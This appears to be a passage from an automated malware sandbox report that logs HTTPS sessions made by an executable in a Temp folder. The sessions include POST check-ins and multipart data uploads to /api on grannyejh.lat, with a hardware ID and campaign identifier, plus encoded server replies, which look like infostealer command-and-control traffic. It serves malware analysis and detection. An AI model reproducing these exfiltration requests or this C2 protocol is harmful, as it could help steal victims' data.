                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:17 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=c09uhps7q4ej3unlqfqcaaft8j; expires=Sun, 13 Apr 2025 17:56:55 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X0qqetM%2BpaSZtQ6%2BuS3qC6nAoRrasdKkcrhyWEPd%2By5F58RznrnR6x0xGymsgkZHopK%2B3Ri1t5jhdMuZkeD1gx0wkOK9te4SYifxjNeY0MrjvZBGxLXsgdp%2BHCSVNHnz"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b2ec8185e6c-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1733&rtt_var=661&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=944&delivery_rate=1643218&cwnd=237&unsent_bytes=0&cid=5048f0c9660f8e32&ts=821&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC248INData Raw: 31 34 38 33 0d 0a 4f 2b 74 78 79 52 43 66 73 6f 48 2f 30 59 77 6a 4a 55 45 56 72 49 79 73 4b 6c 44 4e 6b 55 4f 50 75 6a 35 4c 52 4e 33 47 38 33 39 41 79 51 66 72 4b 71 75 65 6f 34 79 30 72 68 6c 52 4d 32 44 4a 6f 49 35 4c 4e 4f 2b 72 4a 65 37 57 54 53 35 6f 2f 37 43 65 58 51 47 4e 45 4b 56 6a 2b 70 36 6a 6d 71 6d 75 47 58 34 36 4e 38 6e 69 6a 68 42 79 71 50 73 68 37 74 5a 63 4b 69 2b 79 74 70 38 63 55 34 63 57 6f 58 58 38 31 75 43 54 76 4f 6c 47 51 43 42 2f 77 75 58 42 51 6a 33 76 76 57 48 71 77 42 78 78 5a 70 43 6a 68 78 35 32 69 67 4b 69 4d 75 4b 65 2b 74 32 30 34 67 45 66 59 33 54 4a 37 73 42 4d 4e 4b 62 35 4b 2b 66 65 58 53 38 75 72 61 2b 56 46 31 4f 4a 46 61 42 2f 39 63 4c 74 6d 62 76 69 51 45 6f 67 4e 34 43 75 79 56 42 79 39 37
                                                                                                                                                                                                                                                            Data Ascii: 1483O+txyRCfsoH/0YwjJUEVrIysKlDNkUOPuj5LRN3G839AyQfrKqueo4y0rhlRM2DJoI5LNO+rJe7WTS5o/7CeXQGNEKVj+p6jmqmuGX46N8nijhByqPsh7tZcKi+ytp8cU4cWoXX81uCTvOlGQCB/wuXBQj3vvWHqwBxxZpCjhx52igKiMuKe+t204gEfY3TJ7sBMNKb5K+feXS8ura+VF1OJFaB/9cLtmbviQEogN4CuyVBy97
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 4e 79 33 39 74 4e 4f 44 4f 79 74 4a 64 64 52 73 63 4b 36 33 58 78 6b 4c 76 64 75 2b 4a 50 51 69 42 34 79 65 2f 4f 57 6a 32 76 38 43 6e 6c 33 46 59 6d 4b 62 43 71 6d 78 70 52 67 42 53 6b 64 66 58 57 37 4a 37 7a 6f 41 46 41 4f 7a 65 57 72 75 35 59 4d 61 7a 6e 4c 50 79 59 51 32 63 2f 2f 36 4f 64 58 51 48 4a 46 61 56 7a 38 4e 44 78 6c 62 6a 6c 52 46 55 6f 66 73 50 6a 7a 6b 55 34 6f 50 41 68 36 74 4a 57 4a 69 79 37 71 5a 77 62 57 59 6c 54 35 54 4c 36 79 4b 50 46 38 38 31 45 56 79 52 37 32 4b 7a 30 43 43 33 68 36 6d 48 71 31 42 78 78 5a 72 65 68 6b 68 35 53 68 68 43 6a 65 65 2f 51 38 5a 75 2b 36 31 4e 42 4a 6e 6e 45 37 64 78 43 50 4b 6e 77 4b 4f 62 52 57 53 34 69 2f 2b 72 52 47 6b 48 4a 53 2b 74 54 38 4e 76 76 6c 36 54 75 41 56 68 74 62 6f 37 70 77 67 68 71 37
                                                                                                                                                                                                                                                            Data Ascii: Ny39tNODOytJddRscK63XxkLvdu+JPQiB4ye/OWj2v8Cnl3FYmKbCqmxpRgBSkdfXW7J7zoAFAOzeWru5YMaznLPyYQ2c//6OdXQHJFaVz8NDxlbjlRFUofsPjzkU4oPAh6tJWJiy7qZwbWYlT5TL6yKPF881EVyR72Kz0CC3h6mHq1BxxZrehkh5ShhCjee/Q8Zu+61NBJnnE7dxCPKnwKObRWS4i/+rRGkHJS+tT8Nvvl6TuAVhtbo7pwghq7
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 59 45 6d 6b 68 70 2b 54 4a 58 58 4f 4b 42 36 68 34 76 2b 58 67 6b 37 33 70 56 77 63 38 4f 64 65 75 79 55 52 79 39 37 4d 73 37 4e 42 61 4f 79 6d 79 70 35 38 54 56 6f 77 63 6f 33 4c 39 33 65 61 5a 75 4f 56 43 53 69 64 6c 78 4f 37 47 54 54 4f 6c 2b 57 47 6a 6d 46 73 78 5a 75 66 6b 6f 41 70 53 79 79 61 6f 66 50 50 58 39 64 32 73 6f 46 67 48 4a 48 75 4f 74 6f 35 46 4f 71 72 32 4c 75 7a 53 55 69 77 73 73 36 79 66 48 6b 75 47 46 36 74 2b 39 64 72 75 6b 37 66 6d 53 45 77 6f 63 63 37 76 78 41 68 38 37 2f 51 35 72 59 41 63 48 53 47 7a 71 5a 35 66 62 49 6f 64 70 58 58 72 6b 50 7a 54 71 71 35 47 53 32 4d 76 6a 75 4c 48 53 44 6d 6c 39 79 48 71 31 56 6b 71 49 62 79 70 6c 68 64 58 6a 68 65 6e 65 2f 44 57 34 35 71 33 36 31 4e 43 4b 6e 76 43 72 6f 41 49 4e 62 65 7a 65 61
                                                                                                                                                                                                                                                            Data Ascii: YEmkhp+TJXXOKB6h4v+Xgk73pVwc8OdeuyURy97Ms7NBaOymyp58TVowco3L93eaZuOVCSidlxO7GTTOl+WGjmFsxZufkoApSyyaofPPX9d2soFgHJHuOto5FOqr2LuzSUiwss6yfHkuGF6t+9druk7fmSEwocc7vxAh87/Q5rYAcHSGzqZ5fbIodpXXrkPzTqq5GS2MvjuLHSDml9yHq1VkqIbyplhdXjhene/DW45q361NCKnvCroAINbezea
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 5a 75 66 6b 6d 42 52 4c 68 78 32 69 66 2f 76 59 35 4a 4f 2b 35 55 64 4d 4a 48 44 49 34 38 5a 46 4e 36 7a 79 4a 65 66 4b 58 79 49 73 73 71 37 52 55 78 6d 4f 43 2b 73 71 76 66 66 76 74 4b 50 31 55 31 46 6a 61 49 44 33 6a 6b 38 2b 37 36 74 68 37 74 64 56 4a 69 36 33 71 35 34 5a 56 34 38 56 70 6e 66 79 32 76 47 56 76 65 4e 4b 53 43 68 6c 7a 75 50 4b 52 44 61 6e 2b 43 75 74 6c 68 77 75 50 76 2f 38 30 53 68 55 68 68 4f 6f 5a 4c 33 50 72 59 54 7a 36 55 30 48 65 7a 66 43 34 4d 35 48 50 71 50 34 4b 65 7a 55 55 69 34 6a 74 71 79 5a 44 31 69 4e 47 36 70 38 38 74 48 6e 6d 4c 62 71 52 6b 4d 6c 65 49 36 67 6a 6b 38 71 37 36 74 68 77 76 39 70 61 77 65 46 35 49 35 54 51 4d 6b 55 70 7a 4b 6c 6b 4f 2b 65 76 2b 5a 4f 51 53 70 37 78 4f 66 46 52 44 6d 72 2f 79 6a 6f 33 6c 30
                                                                                                                                                                                                                                                            Data Ascii: ZufkmBRLhx2if/vY5JO+5UdMJHDI48ZFN6zyJefKXyIssq7RUxmOC+sqvffvtKP1U1FjaID3jk8+76th7tdVJi63q54ZV48Vpnfy2vGVveNKSChlzuPKRDan+CutlhwuPv/80ShUhhOoZL3PrYTz6U0HezfC4M5HPqP4KezUUi4jtqyZD1iNG6p88tHnmLbqRkMleI6gjk8q76thwv9paweF5I5TQMkUpzKlkO+ev+ZOQSp7xOfFRDmr/yjo3l0
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC904INData Raw: 70 59 55 53 34 63 65 70 48 72 31 32 65 4b 5a 74 75 4e 48 53 79 6c 32 79 65 44 41 51 48 4c 68 73 79 62 31 6d 41 52 70 42 36 2b 2f 67 77 74 55 71 42 36 6b 4d 75 4b 65 2b 74 32 30 34 67 45 66 59 33 37 63 36 73 4e 61 4f 36 6a 39 4c 75 37 4b 58 53 51 74 72 61 4f 65 47 56 36 46 46 61 52 30 2f 4e 58 70 6b 62 54 72 53 6b 67 76 4e 34 43 75 79 56 42 79 39 37 4d 50 35 73 74 4c 4b 69 69 30 73 6f 70 64 52 73 63 4b 36 33 58 78 6b 4c 76 64 73 4f 56 4b 51 79 4e 37 7a 75 72 44 53 43 43 67 39 43 62 6b 30 30 34 6a 49 62 69 76 6d 52 5a 57 6a 77 47 6e 66 4f 2f 56 38 59 2f 7a 6f 41 46 41 4f 7a 65 57 72 76 68 50 49 72 2f 77 59 39 7a 4f 58 7a 38 74 73 71 6a 52 41 68 65 51 55 36 78 2b 76 59 69 6a 6d 37 7a 6e 51 6b 67 69 66 73 4c 6a 79 30 45 33 72 76 55 6c 35 39 4a 63 4c 79 43 2b
                                                                                                                                                                                                                                                            Data Ascii: pYUS4cepHr12eKZtuNHSyl2yeDAQHLhsyb1mARpB6+/gwtUqB6kMuKe+t204gEfY37c6sNaO6j9Lu7KXSQtraOeGV6FFaR0/NXpkbTrSkgvN4CuyVBy97MP5stLKii0sopdRscK63XxkLvdsOVKQyN7zurDSCCg9Cbk004jIbivmRZWjwGnfO/V8Y/zoAFAOzeWrvhPIr/wY9zOXz8tsqjRAheQU6x+vYijm7znQkgifsLjy0E3rvUl59JcLyC+
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 33 34 39 39 0d 0a 56 6f 58 62 2b 32 65 43 61 75 75 68 4b 52 43 6c 34 79 65 6a 4b 53 44 6d 6f 2f 53 66 6f 30 31 56 70 61 50 2b 6a 69 56 30 42 79 54 57 49 59 4f 2f 69 37 5a 36 6f 72 6c 34 4a 4f 6a 66 4a 34 6f 34 51 63 71 54 37 4c 76 2f 64 56 53 45 69 74 71 53 56 46 31 53 4f 45 36 35 2f 2b 4e 54 74 6d 62 54 75 54 55 67 6b 66 38 48 71 7a 6b 64 79 34 62 4d 6d 39 5a 67 45 61 51 61 30 73 72 41 54 55 70 74 54 74 44 7a 6b 6b 4f 53 52 38 37 59 42 53 53 70 32 78 75 44 43 51 44 61 39 38 79 72 6b 31 31 30 6d 4a 72 79 6c 6d 78 56 4c 6a 78 4f 67 65 76 72 59 35 35 4f 68 37 30 34 48 62 54 66 4a 39 6f 34 51 63 70 37 6c 4a 75 72 58 48 67 41 68 70 4b 57 62 48 6c 4b 46 55 37 51 38 35 4a 44 6b 6b 66 4f 32 41 55 6f 76 65 73 72 38 77 6b 67 79 70 76 51 72 2f 39 64 54 4a 43 57 2f
                                                                                                                                                                                                                                                            Data Ascii: 3499VoXb+2eCauuhKRCl4yejKSDmo/Sfo01VpaP+jiV0ByTWIYO/i7Z6orl4JOjfJ4o4QcqT7Lv/dVSEitqSVF1SOE65/+NTtmbTuTUgkf8Hqzkdy4bMm9ZgEaQa0srATUptTtDzkkOSR87YBSSp2xuDCQDa98yrk110mJrylmxVLjxOgevrY55Oh704HbTfJ9o4Qcp7lJurXHgAhpKWbHlKFU7Q85JDkkfO2AUovesr8wkgypvQr/9dTJCW/
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 75 49 47 61 64 7a 2b 74 66 6f 6a 37 6a 38 53 6b 38 67 65 63 62 6e 7a 6b 59 79 72 76 34 68 72 5a 59 63 4c 6a 37 2f 2f 4e 45 34 65 70 34 46 6f 54 44 65 78 2f 57 58 74 4f 4a 58 54 43 4a 30 32 4f 50 65 43 48 7a 76 34 69 62 38 6d 41 51 2f 4e 71 69 6a 6a 6c 4e 41 79 52 53 6e 4d 71 57 51 36 4a 4b 39 34 30 70 44 4b 6e 4c 47 37 63 74 4e 4f 4b 50 2f 49 4f 58 52 56 69 77 6a 75 61 36 53 45 31 61 49 48 36 39 37 38 39 6d 6a 30 2f 50 70 57 51 64 37 4e 2f 6a 2b 79 56 41 2f 76 37 45 54 37 73 6c 4e 50 43 75 76 6f 74 4d 79 57 6f 55 51 72 6e 58 74 6b 50 7a 54 71 71 35 47 53 32 4d 76 6a 75 37 4b 52 44 47 6f 2f 53 37 67 31 31 73 69 4b 62 57 71 67 78 4a 63 67 52 2b 6a 66 2b 2f 61 36 59 2b 36 35 30 78 4a 4b 32 58 4e 72 6f 41 49 4e 62 65 7a 65 61 33 71 56 69 6f 71 71 61 6d 65 58
                                                                                                                                                                                                                                                            Data Ascii: uIGadz+tfoj7j8Sk8gecbnzkYyrv4hrZYcLj7//NE4ep4FoTDex/WXtOJXTCJ02OPeCHzv4ib8mAQ/NqijjlNAyRSnMqWQ6JK940pDKnLG7ctNOKP/IOXRViwjua6SE1aIH69789mj0/PpWQd7N/j+yVA/v7ET7slNPCuvotMyWoUQrnXtkPzTqq5GS2Mvju7KRDGo/S7g11siKbWqgxJcgR+jf+/a6Y+650xJK2XNroAINbezea3qVioqqameX
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 56 66 50 72 45 35 4a 4f 31 37 67 45 4a 59 33 69 4f 74 76 63 49 65 75 2f 4d 62 36 33 41 48 48 46 6d 69 71 65 66 45 31 36 66 41 75 5a 52 36 73 62 70 68 76 48 49 52 6c 59 71 59 63 50 38 6a 67 5a 79 71 62 4e 35 76 5a 59 63 4c 54 66 2f 2f 4d 46 50 41 74 78 41 2f 43 4b 76 7a 36 32 45 38 2f 67 42 48 33 45 35 6a 76 79 4f 45 48 4c 6f 38 44 50 2f 33 6c 38 2f 4a 66 69 61 72 7a 31 53 6e 78 4b 6d 65 66 48 75 33 59 69 77 34 45 39 41 4e 57 61 4f 6f 49 35 48 63 76 66 4b 59 61 57 59 59 32 64 6d 70 2b 54 4a 58 57 79 4b 48 61 56 31 36 38 47 75 76 62 6a 34 51 45 6f 6f 65 34 7a 76 77 31 67 31 37 37 31 68 36 35 67 45 65 57 6a 2f 6f 49 42 64 41 64 6c 42 38 43 65 75 68 37 50 50 72 4b 42 59 42 7a 55 33 6c 72 79 41 43 43 44 76 71 32 47 71 32 30 34 37 49 4c 79 79 6b 6c 70 6e 74 7a
                                                                                                                                                                                                                                                            Data Ascii: VfPrE5JO17gEJY3iOtvcIeu/Mb63AHHFmiqefE16fAuZR6sbphvHIRlYqYcP8jgZyqbN5vZYcLTf//MFPAtxA/CKvz62E8/gBH3E5jvyOEHLo8DP/3l8/Jfiarz1SnxKmefHu3Yiw4E9ANWaOoI5HcvfKYaWYY2dmp+TJXWyKHaV168Guvbj4QEooe4zvw1g1771h65gEeWj/oIBdAdlB8Ceuh7PPrKBYBzU3lryACCDvq2Gq2047ILyyklpntz
                                                                                                                                                                                                                                                            2024-12-19 00:10:17 UTC1369INData Raw: 69 4c 48 54 38 2b 70 51 42 33 73 6e 6e 4c 57 62 47 32 58 2f 6f 54 36 6a 77 52 77 2f 5a 75 66 32 33 31 31 4c 79 55 76 72 4e 66 37 43 38 5a 75 77 2b 45 49 41 48 55 6e 6f 37 63 6c 4f 4d 61 48 6b 4d 4b 2f 33 58 79 49 71 73 36 4f 48 49 32 65 63 45 4b 56 38 2b 73 62 79 33 66 32 75 54 67 64 37 54 6f 37 2f 78 45 39 2b 35 37 38 77 2f 74 5a 58 50 79 48 2f 6d 39 39 64 51 63 6c 4c 36 30 66 2b 33 75 32 61 70 66 38 4d 59 53 42 77 79 4f 33 41 58 79 50 76 76 57 48 72 6d 41 52 37 61 50 2b 67 67 46 30 42 32 55 48 77 4a 36 36 48 73 38 2b 73 6f 46 67 48 4e 54 65 57 76 59 41 49 49 4f 2b 72 59 61 72 57 55 53 67 6c 73 61 65 44 44 31 2b 4b 42 61 67 31 77 2b 37 47 6b 4c 37 72 54 30 41 64 53 65 2f 6b 33 6b 55 39 71 4d 30 66 32 73 6c 62 4f 57 53 5a 70 34 63 65 47 63 64 54 73 7a 4b
                                                                                                                                                                                                                                                            Data Ascii: iLHT8+pQB3snnLWbG2X/oT6jwRw/Zuf2311LyUvrNf7C8Zuw+EIAHUno7clOMaHkMK/3XyIqs6OHI2ecEKV8+sby3f2uTgd7To7/xE9+578w/tZXPyH/m99dQclL60f+3u2apf8MYSBwyO3AXyPvvWHrmAR7aP+ggF0B2UHwJ66Hs8+soFgHNTeWvYAIIO+rYarWUSglsaeDD1+KBag1w+7GkL7rT0AdSe/k3kU9qM0f2slbOWSZp4ceGcdTszK


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            22192.168.2.550006172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 82
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC82OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45
                                                                                                                                                                                                                                                            Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=9B23A9306BAD098FAC8923850305D13E
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC1116INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:18 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=rk1ihhglatvsbc74o0r8ee27a6; expires=Sun, 13 Apr 2025 17:56:57 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2BoDNkpf8JMRSA02%2FtvZPgBJsruzqmfGt4W4lkOX3ilWaJJVJr5aCh4qoDZzdDaqSKLXxntn3odMZYak3hw1sKg0LtdgO6q08T8HTobEjPGLtPn80h8OHnti2yiapI2s"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b389fa17cab-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1868&min_rtt=1821&rtt_var=778&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=979&delivery_rate=1325465&cwnd=192&unsent_bytes=0&cid=376c08ea0315e01b&ts=1044&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC214INData Raw: 64 30 0d 0a 7a 51 69 35 35 38 70 30 6d 2b 31 76 4b 37 6a 74 7a 74 63 6e 62 36 30 2b 54 70 4d 5a 34 53 43 37 66 66 35 67 33 33 6b 74 6d 4e 53 57 63 35 75 53 36 45 36 35 68 52 74 66 79 4e 65 53 2b 48 74 41 6e 41 5a 37 76 53 76 51 46 5a 56 4d 7a 31 50 78 53 42 76 45 2b 36 4a 75 33 37 76 6c 45 50 36 4c 51 55 37 41 69 4f 7a 37 42 51 6e 5a 48 48 53 6a 4e 63 4e 46 6d 55 66 4f 48 66 4d 43 44 2b 33 32 39 79 72 52 6b 37 34 45 6f 62 46 41 64 35 66 63 39 75 49 4a 58 5a 77 4c 59 4b 49 6f 30 67 36 4b 53 36 4a 50 72 41 31 49 2b 62 6d 52 4a 38 75 47 70 42 44 30 67 45 46 4f 77 49 6a 73 2b 77 55 4a 32 52 78 30 6f 7a 58 44 52 5a 6c 48 7a 68 32 43 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: d0zQi558p0m+1vK7jtztcnb60+TpMZ4SC7ff5g33ktmNSWc5uS6E65hRtfyNeS+HtAnAZ7vSvQFZVMz1PxSBvE+6Ju37vlEP6LQU7AiOz7BQnZHHSjNcNFmUfOHfMCD+329yrRk74EobFAd5fc9uIJXZwLYKIo0g6KS6JPrA1I+bmRJ8uGpBD0gEFOwIjs+wUJ2Rx0ozXDRZlHzh2C
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            23192.168.2.550011172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC278OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=YND1JOAKZQFTKWQOI
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 20561
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC15331OUTData Raw: 2d 2d 59 4e 44 31 4a 4f 41 4b 5a 51 46 54 4b 57 51 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 4e 44 31 4a 4f 41 4b 5a 51 46 54 4b 57 51 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 4e 44 31 4a 4f 41 4b 5a 51 46 54 4b 57 51 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d
                                                                                                                                                                                                                                                            Data Ascii: --YND1JOAKZQFTKWQOIContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--YND1JOAKZQFTKWQOIContent-Disposition: form-data; name="pid"3--YND1JOAKZQFTKWQOIContent-Disposition: form-data; name="lid"PsFKDg--pablo-
                                                                                                                                                                                                                                                            2024-12-19 00:10:18 UTC5230OUTData Raw: 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14
                                                                                                                                                                                                                                                            Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
                                                                                                                                                                                                                                                            2024-12-19 00:10:19 UTC1134INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:19 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=eask8tscle2a7iji79807khghi; expires=Sun, 13 Apr 2025 17:56:58 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z%2BxV1zF2ZLUeENJy7AFOZN3geco0KrydlsY0TDT39%2F6UtkXYPbWFCrEknDV8f4Im1fEFv4YA%2BzpRt6%2B%2BuXKBXkI6p6rQsw9DEahCws3M%2B1g9DO%2FyGT%2FQK2gr%2FuJsztfZ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432b3b5e52f793-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1616&rtt_var=618&sent=18&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21519&delivery_rate=1806930&cwnd=140&unsent_bytes=0&cid=7775b02f811610e8&ts=1152&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:19 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:19 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            24192.168.2.550072172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:26 UTC278OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=ZDZX0H5QTD8H2C1V6W
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
